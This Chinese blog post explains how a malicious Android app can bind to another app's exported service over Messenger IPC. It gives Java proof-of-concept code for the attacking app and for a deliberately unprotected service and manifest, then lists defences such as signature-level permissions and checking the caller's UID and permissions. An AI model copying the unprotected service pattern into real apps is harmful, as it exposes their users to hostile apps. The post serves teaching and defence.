关于Android bound Service 攻击和防御

关于Android bound Service 攻击和防御

Android中允许使用Messenger和AIDL进行在多进程间通信bound service。那么这里就有问题产生,我们知道一般情况一个app对应一个进程,也就是多进程间通信,那两个不同的app之间也可以进行通信。那么如果自己实现恶意app就可以对其他app可以进行恶意操作。

【邪恶脸】我们可以写一个攻击案例,使用Messenger来实现,当然AIDL也可以。这里只是测试具体请自行分析:

这个是攻击的app主要内容,绑定被攻击的app的service,获得返回消息:

public class MesActivity extends Activity {
private Button start;
private Button stop;
private ServiceConnection connection=new ServiceConnection() {
    @Override
    public void onServiceConnected(ComponentName name, IBinder service) {
        Messenger messenger=new Messenger(service);
        Message message=Message.obtain(null,1);
        Bundle bundle=new Bundle();
        bundle.putString("key","from service connection");
        message.setData(bundle);
        try{
            messenger.send(message);
        }catch (RemoteException e){
            e.printStackTrace();
        }
        Log.e("TAG","connection");
    }

    @Override
    public void onServiceDisconnected(ComponentName name) {
        Log.e("TAG","disconnection");
    }
};

@Override
protected void onCreate(Bundle savedInstanceState) {
    super.onCreate(savedInstanceState);
    setContentView(R.layout.messenger_layout);
    initView();
}


public void initView(){
    start=(Button)findViewById(R.id.mes_start);
    stop=(Button)findViewById(R.id.mes_stop);

    start.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {

           Intent intent1=new Intent();
            //com.example.mrsj.hacktool被攻击app包名
            intent1.setPackage("com.example.mrsj.hacktool");
            intent1.setAction("com.example.mrsj.hacktool.Messen");
            intent1.addCategory("com.example.mrsj.hacktool.Mess");
            bindService(intent1,connection,BIND_AUTO_CREATE);
            toastInfo(MesActivity.this,"bind");
        }
    });

    stop.setOnClickListener(new View.OnClickListener() {
        @Override
        public void onClick(View v) {
            unbindService(connection);
            toastInfo(MesActivity.this,"unbind");
        }
    });

}


public void toastInfo(Context context,String s){
    Toast.makeText(context,s,Toast.LENGTH_LONG).show();
}

}

被攻击app的内容:

public class MessenService extends Service {
private Messenger messenger;
private Handler handler=new Handler(new Handler.Callback() {
    @Override
    public boolean handleMessage(Message msg) {
        if (msg.what==1){
           String s= msg.getData().getString("key");
            Log.e("Service",s);
        }
        return true;
    }
});


@Nullable
@Override
public IBinder onBind(Intent intent) {
    messenger=new Messenger(handler);
    return messenger.getBinder();
}
}


manifes文件service内容:


<service android:name=".MessenService">
       <intent-filter>
           <action android:name="com.example.mrsj.hacktool.Messen"/>
           <category android:name="com.example.mrsj.hacktool.Mess"/>
       </intent-filter>
  </service>

结果将会在被攻击app输出from service connection。这里被攻击必须是运行,否则无法绑定。当然你可以自己去启动被攻击的app,然后绑定service。

重点防御:

  • 可以在Manifest文件对暴露的Servic增加签名保护级别。
  • 可以在Binder中进行验证:

    1.使用Binder的静态方法getCallingPid或者getCallingUid来验证IPC调用者的身份,在获得调用者uid以后,可进一步使用PackageManager.getPackagesForUid(int uid)来获得调用者的包名,然后使用PackageManager.getPackageInfo(String Packagename, int flag)检查是否具有相应的权限(使用PackageManager.GET_PERMISSIONS flag)

    2.在Service的OnBind方法中调用Context.checkCallingPermission(String permission)或者checkCallingPermissionOrSelf (String permission) 方法,验证IPC调用者是否拥有指定的权限,同样适用于Messenger;

    3.使用Context.enforceCallingPermission(String permission, String message),如果调用者不具备权限,自动抛出SecurityException

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值